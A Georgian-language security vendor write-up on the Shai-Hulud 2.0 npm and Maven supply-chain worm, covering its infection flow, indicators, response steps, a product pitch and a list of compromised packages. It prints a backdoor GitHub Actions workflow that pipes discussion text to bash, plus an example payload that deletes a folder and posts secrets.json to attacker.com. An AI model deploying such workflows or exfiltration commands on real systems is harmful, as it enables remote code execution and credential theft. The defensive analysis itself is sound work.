შაი ჰულუდი - npm-ის მიწოდების ჯაჭვის შეტევა

Shai-Hulud 2.0 NPM მიწოდების ჯაჭვის შეტევა

TL; DR

2025 წლის 24 ნოემბერს მკვლევარებმა აღმოაჩინეს შაი ჰულუდი: მეორედ მოსვლა, ახალი ტალღა NPM-ის მიწოდების ჯაჭვის შეტევა რომელიც ხელახლა აინფიცირებს npm პაკეტებს, იპარავს რწმუნებათა სიგელებს და ვრცელდება დეველოპერის კომპიუტერებზე და CI/CD pipelineს. პირველი ინციდენტისგან განსხვავებით, ეს ვერსია Bun-ის გაშვების ინტერფეისს მომენტალურად აინსტალირებს, ფარულ GitHub Actions-ის უკანა კარებს ათავსებს და მოიცავს დამანგრეველ გამწმენდს, რომელსაც შეუძლია Linux-ზე, macOS-სა და Windows-ზე მთელი სახლის დირექტორიების წაშლა. რამდენიმე საათში კომპრომეტირებული პაკეტების რაოდენობამ 830-ს გადააჭარბა, რაც ადასტურებს, რომ ეს არ არის მარტივი ვარიანტი, არამედ პრობლემის მნიშვნელოვანი ესკალაციაა. ორიგინალური ჭია.

ზემოქმედებისშესაძლოა, ნებისმიერი დეველოპერი ან CI მორბენალი, რომელიც საჯარო npm პაკეტებს აინსტალირებს, დაუცველი იყოს. Java-ს გუნდები ასევე რისკის ქვეშ არიან მას შემდეგ, რაც ინფიცირებული პაკეტები ავტომატურად აისახა Maven Central-ში.

დაუყოვნებელი მოქმედებები: ცნობილი მავნე ვერსიების დაბლოკვა, მხოლოდ ფაილების დაბლოკვის ინსტალაციების აღსრულება, npm, GitHub და ღრუბლოვანი ავტორიზაციის მონაცემების როტაცია, უცნობი თვითჰოსტირებული მორბენლების წაშლა და ისეთი IoC-ების მონიტორინგი, როგორიცაა setup_bun.js, bun_environment.js და საეჭვო GitHub რეპოზიტორები, რომლებიც შეიცავს „Sha1-Hulud: The Second Coming“-ს.

რა შეიცვალა: შაი ჰულუდი NPM-ის მიწოდების ჯაჭვის შეტევაში, როდესაც ის Maven-ზე გადახტა.

Shai Hulud-ის შეტევის მეორე ტალღამ მნიშვნელოვანი ესკალაცია გამოიწვია. პირველ კამპანიაში, ჭია npm ეკოსისტემაში დარჩა. ამჯერად, მავნე პროგრამა... მეივენ ცენტრალი, რაც გამოავლენს Java-ს გუნდებს, რომლებსაც არასდროს შეხებიათ npm-ს.

ქრონოლოგია და ტოკენის ფანჯარა

შეტევა დაიწყო ქ. ნოემბერი 24, 2025, სანამ npm-მა თავისი მემკვიდრეობითი ავტორიზაციის ტოკენები გააუქმა დეკემბერი 9.
ამ ძველი ტოკენების მოპარვა და ხელახლა გამოყენება უფრო ადვილი იყო. რადგან თავდამსხმელებს ამ ფანჯრის განმავლობაში კვლავ ჰქონდათ მათზე წვდომა, მათ შეძლეს ასობით მავნე ვერსიის მაღალი სიჩქარით ხელახლა გამოქვეყნება შეწყვეტამდე.

როგორ მიაღწია მავნე პროგრამამ Maven-ს

რეესტრის ჯვარედინი გადასვლა მოხდა შემდეგი მიზეზების გამო: mvnpm, ავტომატური სარკისებური ასლის შექმნის ინსტრუმენტი, რომელიც npm პაკეტებს Maven-ის არტეფაქტებად გარდაქმნის.

mvnpm არ ახორციელებს უსაფრთხოების შემოწმებას. ის უბრალოდ ხელახლა აფუთავს npm-ის მიერ გამოქვეყნებულ ინფორმაციას.

Როგორც შედეგი:

  • კომპრომეტირებული npm პაკეტი (მაგალითად posthog-node@4.18.1)
  • ავტომატურად გადაკეთდა Maven-ის არტეფაქტად
    org.mvnpm:posthog-node:4.18.1
  • და გამოქვეყნდა Maven Central-ში მანამ, სანამ ვინმე მიხვდებოდა, რომ ის ინფიცირებული იყო.

ეს იმას ნიშნავს, Java-ს დეველოპერები npm-ის დარღვევის მსხვერპლნი გახდნენ, მაშინაც კი, თუ მათ არასდროს დაუყენებიათ npm პაკეტი.

რატომ ეს თემა

ეს არის პირველი ცნობილი ჯვარედინი რეესტრის ჭია, სადაც მიწოდების ჯაჭვის შეტევა ერთი ეკოსისტემიდან მეორეზე მხოლოდ ავტომატიზაციის გზით ვრცელდება.
ამის გამო, აფეთქების რადიუსი ახლა მოიცავს Java-ს, JVM სამუშაო დატვირთვებს და enterprise შექმენით სისტემები, რომლებიც Maven Central-ზეა დამოკიდებული.

რა ხდის Shai Hulud 2.0-ს ასეთ სერიოზულს

 Bun Runtime გამოიყენება აღმოჩენის თავიდან ასაცილებლად

თავდამსხმელები Node.js-დან Bun-ის გაშვების ინტერფეისზე გადავიდნენ. მავნე პროგრამა Bun-ს მომენტალურად აინსტალირებს. setup_bun.js პაკეტის ინსტალაციის დროს. ეს თავიდან აგაცილებთ კვანძის სპეციფიკურ მონიტორინგს და თავდამსხმელებს უფრო სწრაფ შესრულებას აძლევს ძალიან დიდი დაბნეული დატვირთვის შემთხვევაში.

GitHub-ის მოქმედებები, რომლებიც გამოიყენება როგორც ბრძანების უკანა კარი

ინსტალაციის შემდეგ, მავნე პროგრამა ქმნის დამალულ GitHub Actions-ის თვითჰოსტირებულ გამშვებ პროგრამას.  $HOME/.dev-env/ეს მუშაობს Windows-ზე, macOS-სა და Linux-ზე. თავდამსხმელებს შეუძლიათ ბრძანებების შესრულება უბრალოდ GitHub Discussions-ში შეტყობინებების გამოქვეყნებით კომპრომეტირებულ საცავში. სამუშაო პროცესის ფაილი ამუშავებს ამ შეტყობინებებს და ასრულებს მათ shell ბრძანებების სახით.

ჩაშენებული საწმენდი

თუ მავნე პროგრამას არ შეუძლია GitHub-ის ან npm-ის საშუალებით ავთენტიფიკაცია, ის წაშლის მსხვერპლის საშინაო დირექტორიას.

  • Windows-ზე ის იყენებს del, rdდა შიფრი /W ფაილების წასაშლელად.
  • Linux-სა და macOS-ზე ის მონაცემებს ანაცვლებს... გახეხეთ და შემდეგ შლის დირექტორიებს.

ძალიან ხმაურიანი კამპანია

მიუხედავად იმისა, რომ მავნე პროგრამა გარკვეულწილად ფარულ ფუნქციებს იყენებს (მაგალითად, Bun-ის გამოყენებით), საერთო კამპანია სრულიად ჩუმი არ არის. ის აგრესიულად აქვეყნებს კომპრომეტირებულ პაკეტებს, ქმნის ასობით ან ათასობით ახალ საცავს, ატვირთავს ავტორიზაციის მონაცემების დემპებს მასიურად და აყენებს დიდი ხნის განმავლობაში დამონტაჟებულ თვითჰოსტირებულ შემსრულებლებს დეველოპერების კომპიუტერებზე. ეს ყველაფერი არ არის დაბალი პროფილის ქცევა. ამ შეტევის მასშტაბი, სიჩქარე და ოპერაციული „ხმაურიანობა“ გამოირჩევა მიწოდების ჯაჭვის უმეტეს კომპრომეტირებასთან შედარებით, რომლებიც, როგორც წესი, პრიორიტეტს ანიჭებენ შეუმჩნეველობას რაც შეიძლება დიდხანს..

ფართო გავლენა

თავდამსხმელებმა მილიონობით ყოველთვიური ჩამოტვირთვით მრავალი ცნობილი პაკეტი დააზიანეს, მათ შორის:
Zapier, ENS Domains, Postman, PostHog, AsyncAPI და Voiceflow.

შესაძლო ატრიბუციის სიგნალები

აქ ატრიბუციის დადგენა რთულია და კამპანიის უკან დადასტურებული წყარო არ არსებობს. ერთ-ერთი მსხვილი უსაფრთხოების კომპანია აღნიშნავს, რომ ოპერაცია Shai-Hulud-ის ადრინდელ ჭიას წააგავს, თუმცა განსხვავებები დატვირთვის აგებისა და მავნე პროგრამის გავრცელების წესში ოპერატორების სხვადასხვა ჯგუფის არსებობის შესაძლებლობაზე მიუთითებს. მათი შეფასება ხაზს უსვამს, რომ კომპრომეტირებული პაკეტები npm-ის წაშლამდე რამდენიმე გარემოში ჩამოიტვირთა, რაც რეალურ სამყაროში ზემოქმედებაზე მიუთითებს და არა ხანმოკლე ტესტზე.

იმის გათვალისწინებით, რომ ტაქტიკა პირველი ტალღის მსგავსია, თუმცა ძირითად საკითხებში განსხვავებულია, განსაკუთრებით დატვირთვის სტრუქტურაში, გავრცელების ლოგიკასა და ოპერაციულ „სტილში“, მიბაძვის სცენარი დასაშვებია. თავდამსხმელებმა შესაძლოა შაი-ჰულუდიდან ისესხეს იდეები, მაგრამ საკუთარი ინსტრუმენტები გამოიყენეს. ეს შეიძლება წარმოადგენდეს კიდევ ერთ ჯგუფს, რომელიც მთლიანად ცდილობს წინა კამპანიის იმიტაციას.

ამ ეტაპზე არ არსებობს მყარი მტკიცებულება, რომელიც მას რომელიმე ცნობილ მოთამაშეს, ფინანსურად მოტივირებულ ჯგუფს ან სახელმწიფოსთან დაკავშირებულ სუბიექტს დაუკავშირებდა. ორიგინალურ ჭიასთან გადაფარვა რეალურია, მაგრამ განსხვავებები საკმარისად მნიშვნელოვანია იმისთვის, რომ ატრიბუცია „დაუდასტურებელ“ კატეგორიაში შევიდეს.

გავრცელდით Maven-ში

ერთ-ერთმა მსხვილმა უსაფრთხოების კომპანიამ დაადასტურა, რომ მავნე npm პაკეტები ავტომატურად გამოქვეყნდა Maven-ში... mvnpm, ინსტრუმენტი, რომელიც npm პაკეტებს Maven-ის არტეფაქტებად გარდაქმნის ხელით განხილვის გარეშე.

შემდეგი პაკეტი გადაიგზავნა Maven Central-ში: org.mvnpm:posthog-node:4.18.1

რადგან mvnpm უბრალოდ ხელახლა შეფუთავს npm-ის მიერ გამოქვეყნებულ ნებისმიერ მასალას, ინფიცირებული ვერსიები აისახა Java-ს ეკოსისტემაში მანამ, სანამ ვინმე ამას გააცნობიერებდა.

Maven Central-მა დაზარალებული არტეფაქტები 2025 წლის 25 ნოემბერს ამოიღო და კონტროლის გამკაცრება დაიწყო მსგავსი ჯვარედინი რეესტრების პრობლემების თავიდან ასაცილებლად.

ეს ნიშნავს, რომ Java პროექტები, რომლებსაც npm-თან პირდაპირი კავშირი არ აქვთ, შესაძლოა მაინც გამოვლენილიყო.

როგორ მუშაობს Shai Hulud 2.0 შეტევა

ინფექციის ნაკადი

  • მავნე წინასწარი ინსტალაცია სკრიპტი დაემატა პაკეტი.json.
  • setup_bun.js თუ Bun არ არის, ის დაზარალებულის მანქანაზე აინსტალირებს.
  • bun_environment.js (480 ათასზე მეტი სტრიქონი დაბნეული კოდი) ფონურ რეჟიმში მუშაობს.
  • მავნე პროგრამა TruffleHog-ის მსგავსი ტექნიკის გამოყენებით სკანირებას უკეთებს ავტორიზაციის მონაცემებს. ის ეძებს
    • AWS, GCP და Azure გასაღებები
    • GitHub-ის ტოკენები
    • npm ტოკენები
    • CI სისტემის საიდუმლოებები
  • მოპარული მონაცემები იტვირთება საჯარო GitHub საცავებში, რომლებსაც აქვთ აღწერა „Sha1-Hulud: მეორედ მოსვლა“.
  • შეგროვებული ტოკენების გამოყენებით, მავნე პროგრამა აქვეყნებს პაკეტების კომპრომეტირებულ ვერსიებს, აინფიცირებს ხელმისაწვდომ GitHub საცავებს და აყენებს მუდმივ, თვითჰოსტირებულ მორბენლებს დისტანციური კოდის შესასრულებლად.

მავნე GitHub-ის სამუშაო პროცესები

Shai-Hulud NPM Supply Chain Attack-ის მეორე ტალღის დროს, მავნე პროგრამამ შექმნა ორი დამალული GitHub Actions სამუშაო პროცესი კომპრომეტირებულ საცავებს შორის. ეს სამუშაო პროცესები თავდამსხმელებს კოდის დისტანციურად შესრულების, ხანგრძლივი შენახვისა და სისტემის საიდუმლოებებზე სრული წვდომის საშუალებას აძლევს.

1. Backdoor-ის სამუშაო პროცესი (discussion.yaml)

ყველაზე საშიში სამუშაო პროცესი უსმენს GitHub-ის დისკუსიები მოვლენები. როდესაც დისკუსიის შეტყობინება იქმნება ან რედაქტირებულია, სამუშაო პროცესი კითხულობს შეტყობინების ტექსტს და ასრულებს მას, როგორც shell ბრძანება მსხვერპლის აპარატზე.

ქვემოთ მოცემულია მავნე სამუშაო პროცესის გამარტივებული ვერსია, რომელიც აღდგენილია დაკვირვებული ნიმუშებიდან:

				
					# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

				
			

კრიტიკული ხაზია:

				
					${{ github.event.discussion.body }}

				
			

ეს ნიშნავს, რომ თავდამსხმელს შეუძლია განათავსოს ნებისმიერი ბრძანება GitHub დისკუსიის შიგნით და თვითჰოსტირებული მორბენალი მას დაუყოვნებლივ შეასრულებს. რადგან თვითჰოსტირებულ მორბენლებს ხშირად აქვთ წვდომა შიდა ქსელებზე, ღრუბლოვან რწმუნებათა სიგელებსა და CI საიდუმლოებებზე, ეს უკანა კარი თავდამსხმელს აძლევს კოდის სრულ დისტანციურ შესრულებას Shai Hulud NPM Supply Chain Attack-ის დროს.

ბრძანების ინექციის ექსპლუატაცია

ეს სამუშაო პროცესი არღვევს GitHub Actions-ის მიერ გამოსახულებების დამუშავების მეთოდს. უსაფრთხო სტრიქონებით შეყვანის შეზღუდვის ნაცვლად, ის კითხულობს დისკუსიის ნედლ კონტენტს და პირდაპირ აგზავნის მას shell-ში. შედეგად, თავდამსხმელს მხოლოდ შემდეგი შეტყობინების გამოქვეყნება სჭირდება:

				
					rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

				
			

რადგან ეს ქცევა Shai Hulud NPM Supply Chain Attack-ის დროს არაერთხელ გამოვლინდა, ეს გახდა ერთ-ერთი ყველაზე ნათელი სიგნალი იმისა, რომ მავნე პროგრამა GitHub Actions-ს დისტანციური ბრძანების არხად იყენებდა.

თვითმომსახურებით დაკავებული მორბენლები ამ მდგომარეობას ამძიმებენ, რადგან ისინი:

  • კომპანიის ქსელებში მუშაობა
  • დაიჭირეთ ღრუბელი ან CI/CD რწმუნებათა სიგელების გადაცემის
  • შესრულება მომხმარებლის ნებართვებით
  • არ აქვთ GitHub-ის sandboxing ან იზოლაცია

ეს თავდამსხმელებს შიდა გარემოში შესვლის მუდმივ ბრძანების არხს აძლევს.

საიდუმლო და სისტემური შეგროვების სამუშაო პროცესი

უკანა კარის გარდა, მავნე პროგრამა კიდევ ერთ სამუშაო პროცესს უშვებს, რომლის მიზანია ინფიცირებული სისტემიდან მგრძნობიარე მონაცემების შეგროვება და შენახვა.
ეს სამუშაო პროცესები აერთიანებს:

  • ღრუბლოვანი ავტორიზაციის მონაცემები
  • გარემოს ცვლადები
  • დირექტორიების სიები
  • TruffleHog-ის სტილის საიდუმლო სკანირება

ისინი შეგროვებულ მონაცემებს ინახავენ ისეთ ფაილებში, როგორიცაა:

  • cloud.json
  • გარემო.json
  • შინაარსი.json
  • truffleSecrets.json

შემდეგ ეს ფაილები იტვირთება თავდამსხმელის მიერ კონტროლირებად GitHub საცავებში, რომლებსაც აქვთ შემდეგი ეტიკეტები: „შა1-ჰულუდი: მეორედ მოსვლა“, სადაც ასობით ან ათასობით ნაგავსაყრელი დაფიქსირდა.

კომპრომისის ინდიკატორები

ფაილიSHA256
setup_bun.jsa3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
bun_environment.js62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

სხვა წითელი დროშები

  • .github/workflows/discussion.yaml
  • $HOME/.dev-env/ მოულოდნელი მორბენლების შემცველი
  • თქვენს ანგარიშზე შექმნილი საჯარო GitHub რეპოები, რომლებიც შეიცავს „Sha1-Hulud: მეორედ მოსვლას“

განახლებული მაჩვენებლები (2025 წლის 26 ნოემბრის მდგომარეობით)

Metricიმედი
npm პაკეტები კომპრომეტირებულია830 +
ინფიცირებული GitHub-ის საცავები28,000 +
ატვირთულია საიდუმლო ფაილები5,000 +
სულ შეგროვებული საიდუმლოებები11,858
ვალიდური საიდუმლოებები2,298

რა უნდა გავაკეთოთ ახლა: შაი ჰულუდის NPM-ის მიწოდების ჯაჭვის თავდასხმაზე რეაგირება

Shai Hulud NPM მიწოდების ჯაჭვის შეტევა სწრაფ და სტრუქტურირებულ რეაგირებას მოითხოვს. რადგან ეს მეორე ტალღა ვრცელდება npm-ზე, GitHub-ზე, დეველოპერების მანქანებსა და Maven Central-ზეც კი, გუნდებმა სწრაფად უნდა იმოქმედონ ნებისმიერი ზემოქმედების აღმოსაჩენად, შესაკავებლად და სრულად გამოსასწორებლად. ქვემოთ მოცემული ნაბიჯები დაგეხმარებათ სწორი თანმიმდევრობით რეაგირებაში და შემდგომი კომპრომეტირების რისკის შემცირებაში.

გამოვლენა

  • GitHub-ზე მოძებნეთ საცავები აღწერით „Sha1-Hulud: მეორედ მოსვლა“.
  • პაკეტების ინსტალაციის დროს მოძებნეთ Bun-ის ინსტალაციის ჟურნალები.
  • შეამოწმეთ package.json ფაილები მოულოდნელი სასიცოცხლო ციკლის სკრიპტებისთვის, განსაკუთრებით წინასწარი ინსტალაცია.
  • შეამოწმე $HOME/.dev-env/ დეველოპერის ან CI სისტემებზე.
  • გადახედეთ GitHub-ისა და npm-ის გამოქვეყნების ჟურნალებს საეჭვო გამოშვებების აღმოსაჩენად.

შეკვრა

  • შეცვალეთ ყველა სერთიფიკატი: GitHub, npm, Cloud, CI საიდუმლოებები, API გასაღებები.
  • უცნობი თვითჰოსტირებული მორბენლების გამორთვა და წაშლა.
  • რეპოს შექმნის დროებით დაბლოკვა.
  • წაშალეთ ინფიცირებული ვერსიები თქვენი დამოკიდებულების გრაფიკიდან.

გამოსწორება

  • დაზარალებული სისტემების გაწმენდა.
  • გადახედეთ ინექციური ფაილების ყველა GitHub Actions სამუშაო პროცესს.
  • უჩვეულო ბრძანებების ან გაშვების ადგილების ძიება თქვენს CI ჟურნალებში.

ცნობილი კარგი პაკეტის ვერსიებიდან ხელახლა აწყობა.

როგორ ეხმარება Xygeni შაი-ჰულუდის მეორედ მოსვლის მსგავსი თავდასხმების შეჩერებას

ისეთი აგრესიული კამპანიის შემდეგ, როგორიცაა „შაი-ჰულუდის მეორედ მოსვლა“, გუნდებს ხელით შემოწმებაზე მეტი სჭირდებათ. მათ სჭირდებათ ავტომატიზირებული დაცვა, რომელიც ბლოკავს მავნე პროგრამებს მანამ, სანამ ისინი დეველოპერებს, CI-ის შემსრულებლებს ან წარმოების სისტემებს მიაღწევენ. სწორედ აქ იძლევა Xygeni მთავარ უპირატესობას.

მავნე პროგრამების ადრეული გაფრთხილება (MEW): საფრთხეების აღმოჩენა მათ გავრცელებამდე

 Xygeni-ის ადრეული გაფრთხილების ძრავა რეალურ დროში სკანირებს ახალ და განახლებულ ღია კოდის პაკეტებს. ის აფიქსირებს საეჭვო ქცევას, როგორიცაა:

  • დაბნეული JavaScript ან მასიური შეფუთული კოდი
  • სასიცოცხლო ციკლის სკრიპტები, რომლებიც აინსტალირებენ გარე გაშვების დროს, როგორიცაა Bun
  • მოულოდნელი კავშირები GitHub-თან, npm-თან ან ღრუბლოვან საბოლოო წერტილებთან
  • ჩასაწერი წვეთები $HOME, .dev-env/ ან სამუშაო პროცესის საქაღალდეები

MEW-მ აღმოაჩინა შაი-ჰულუდის ორივე ტალღაში გამოყენებული ნიმუშები, რაც გუნდებს ეხმარება რეაგირებაში, სანამ თავდამსხმელები ინფექციას კიდევ უფრო გაავრცელებენ.

Guardrails in CI/CD მავნე პაკეტების დაბლოკვა

Xygeni აღასრულებს guardrails რომლებიც ავტომატურად აჩერებენ სახიფათო ოპერაციებს:

  • CI pipelines-ს არ შეუძლია დააინსტალიროს პაკეტები დამალული წინასწარი ან პოსტინსტალაციის სკრიპტებით.
  • აწყობა ვერ ხერხდება, როდესაც პაკეტი ცდილობს შექმნას სამუშაო პროცესები, როგორიცაა .github/workflows/discussion.yaml
  • Pipelineუარყოფენ არასანდო წყაროებიდან ან პირველად ნანახი ანგარიშებიდან გამოქვეყნებულ დამოკიდებულებებს

ეს მკვეთრად ამცირებს შეტევის ზედაპირს და ხელს უშლის მავნე პროგრამების გაშვებას CI დავალებებში.

საიდუმლო დაცვა ამცირებს აფეთქების რადიუსს

რადგან Shai-Hulud იპარავს ღრუბლოვან გასაღებებს, GitHub ტოკენებს, npm ტოკენებს და CI საიდუმლოებებს, დაცვა ასევე უნდა იყოს ორიენტირებული ავტორიზაციის მონაცემებზე. Xygeni:

  • აღმოაჩენს გამოვლენილ საიდუმლოებებს კოდში, ჟურნალებში, სამუშაო პროცესებსა და გარემოს ფაილებში
  • მაღალი რისკის მქონე სერთიფიკატების ავტომატურად როტაცია
  • ხანმოკლე სიცოცხლის ტოკენების აღსრულება გრძელვადიანი კომპრომისის შესამცირებლად

მაშინაც კი, თუ თავდამსხმელი პირველად წვდომას მოიპოვებს, მოპარული გასაღებები სწრაფად უსარგებლო ხდება.

დასკვნითი შენიშვნები: რატომ არის Shai Hulud NPM-ის მიწოდების ჯაჭვზე თავდასხმა კვლავ მნიშვნელოვანი

ის შაი-ჰულუდის მეორედ მოსვლა ინციდენტი აჩვენებს, თუ რამდენად ადვილად NPM-ის მიწოდების ჯაჭვის შეტევა შეუძლია ეკოსისტემებში გადაადგილება. ამ შემთხვევაში, მავნე პროგრამა npm-დან Maven-ზე გადავიდა, რადგან ავტომატური სარკისებური ინსტრუმენტები, როგორიცაა mvnpm კომპრომეტირებული პაკეტები გადამოწმების გარეშე ხელახლა გამოაქვეყნეს. შედეგად, Java-ს გუნდები გამოაშკარავდნენ მაშინაც კი, თუ ისინი npm-ს პირდაპირ არასდროს იყენებდნენ. ეს ცხადყოფს, რომ რეესტრებისშორისი სამუშაო პროცესები დაუყოვნებლივ განხილვას და უფრო ძლიერ დაცვის ზომებს საჭიროებს.

გარდა ამისა, ამ კამპანიის მასშტაბები და ქცევა ავლენს, თუ როგორ მოქმედებენ თავდამსხმელები დღეს. დუმილის ნაცვლად, ისინი ერთდროულად ასობით პაკეტს აქვეყნებენ, ათავსებენ დაფარულ GitHub-ის მორბენლებს, დიდი რაოდენობით იპარავენ საიდუმლოებებს და თუ რამე ვერ მოხერხდება, დამანგრეველ გამწმენდსაც კი იყენებენ. შესაბამისად, ხელით მიმოხილვები ვერ ახერხებს ავტომატიზაციისა და სიჩქარის ამ დონის აწევას. გუნდებს სჭირდებათ უწყვეტი, რეალურ დროში დაცვა პაკეტში, წყაროსა და... pipeline ფენებს.

რატომ უწყვეტი Pipeline Security ახლა აუცილებელია

თავდასხმები, როგორიცაა შაი-ჰულუდის მეორედ მოსვლა გააგრძელებს განვითარებას. ამიტომ, შემდეგი ტალღის თავიდან ასაცილებლად საჭიროა კონტროლი, რომელიც ავტომატურად მუშაობს შიგნით. CI/CDდა არა კომპრომეტირების შემდეგ. თანამედროვე დაცვამ უნდა გააერთიანოს მავნე პროგრამების ადრეული გამოვლენა, დამოკიდებულების მკაცრი ვალიდაცია, პოლიტიკის აღსრულება და საიდუმლო დაცვა, რათა მავნე კოდმა შეუმჩნევლად ვერ გადაადგილდეს განვითარების გარემოში.

Xygeni მხარს უჭერს ამ ცვლილებას ავტომატიზირებული მიწოდებით guardrails მთელი პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის მასშტაბით. ის ინსტალაციამდე ამოიცნობს საეჭვო პაკეტებს, აძლიერებს უსაფრთხო დამოკიდებულების ვერსიებს, ბლოკავს არაუსაფრთხო სამუშაო პროცესებს, აღმოაჩენს გამოვლენილ საიდუმლოებებს და აფრთხილებს უჩვეულო შემთხვევების შესახებ. pipeline აქტივობა. შედეგად, გუნდები დაცულები რჩებიან მაშინაც კი, როდესაც მიწოდების ჯაჭვის შეტევები სწრაფად ვრცელდება და ეკოსისტემის საზღვრებს კვეთს.

კომპრომეტირებული პაკეტების სია

დაზარალებული პაკეტების ნახვა ასევე შესაძლებელია გამოყენებით #შაი-ჰულუდ / #შაი-ჰულუდ-მეორედ-მოსვლა ტეგი შიგნით OpenSourceMalware.com

 
პაკეტიმობილური
02-ექო0.0.7
@accordproject/concerto-ანალიზი3.24.1
@accordproject/concerto-linter3.24.1
@accordproject/concerto-linter-default-ruleset3.24.1
@accordproject/concerto-metamodel3.12.5
@accordproject/concerto-types3.24.1
@accordproject/markdown-it-cicero0.16.26
@accordproject/template-engine2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/native0.1.32
@actbase/node-server1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-postcode1.0.5
@actbase/react-kakaosdk0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-channel1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@alexcolls/nuxt-socket.io0.0.7 , 0.0.8
@alexcolls/nuxt-ux0.6.2 , 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/graphql-body-parser0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/my-angular-lib0.0.23
@asyncapi/dotnet-rabbitmq-template1.0.2 , 1.0.1
@asyncapi/edavisualiser1.2.2 , 1.2.1
@asyncapi/go-watermill-template0.2.76 , 0.2.77
@asyncapi/java-template0.3.6 , 0.3.5
@asyncapi/keeper0.0.3 , 0.0.2
@asyncapi/php-template0.1.2 , 0.1.1
@asyncapi/python-paho-template0.2.15 , 0.2.14
@asyncapi/server-api0.16.25 , 0.16.24
@asyncapi/სტუდია1.0.3 , 1.0.2
@asyncapi/web-component2.6.7 , 2.6.6
@browserbasehq/bb91.2.21
@browserbasehq/director-ai1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/mcp-server-browserbase2.4.2
@browserbasehq/sdk-functions0.0.4
@browserbasehq/stagehand3.0.4
@browserbasehq/stagehand-docs1.0.1
@caretive/caret-cli0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl0.1.14
@commute/bloom1.0.3
@commute/market-data1.0.2
@commute/market-data-chartjs2.3.1
@dev-blinq/ai-qa-logic1.0.19
@dev-blinq/cucumber-js1.0.131
@dev-blinq/cucumber_client1.0.738
@dev-blinq/ui-systems1.0.93
@ensdomains/მისამართის-ენკოდერი1.1.5
@ensdomains/შავი სია1.0.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/content-hash3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durin0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-არქივირებული-კონტრაქტები0.0.3
@ensdomains/ens-ავატარი1.0.4
@ensdomains/ens-კონტრაქტები1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/hackathon-registrar1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock2.1.52
@ensdomains/სახელის-შეფუთვა1.0.1
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-მისამართი0.0.32
@ensdomains/განახლება0.0.13
@ensdomains/განახლების-ვიჯეტი0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/server-analytics0.0.2
@ensdomains/solsha10.0.4
@ensdomains/ქვედომენის-რეგისტრატორი0.2.4
@ensdomains/test-utils1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/unruggable-gateways0.0.3
@ensdomains/vite-plugin-i18next-loader4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts2.0.1 , 2.0.2
@everreal/validate-esmoduleinterop-imports1.4.4 , 1.4.5
@everreal/web-analytics0.0.1 , 0.0.2
@faq-კომპონენტი/ძირითადი0.0.4
@faq-component/react1.0.1
@fishingbooker/browser-sync-plugin1.0.5
@fishingbooker/react-loader1.0.7
@fishingbooker/react-გვერდების დაწერა2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/react-swiper0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@hover-design/core0.0.1
@hover-design/react0.2.1
@ifelsedeveloper/protocol-contracts-svm-idl0.1.2
@ifings/design-system4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/components0.0.2
@kvytech/habbit-e2e-test0.0.2
@kvytech/medusa-plugin-announcement0.0.8
@kvytech/medusa-plugin-management0.0.5
@kvytech/medusa-plugin-newsletter0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/web0.0.2
@lessondesk/api-კლიენტი9.12.3 , 9.12.2
@lessondesk/babel-preset1.0.1
@lessondesk/electron-group-api-client1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/material-icons1.0.3
@lessondesk/react-table-context2.0.4
@lessondesk/schoolbus5.2.2 , 5.2.3
@livecms/live-edit0.0.32
@livecms/nuxt-live-edit1.9.2
@louisle2/core1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/firestore-repo-service1.0.1
@markvivanco/app-version-checker1.0.2 , 1.0.1
@ntnx/passport-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/time-slider1.0.187
@osmanekrem/bmad1.0.6
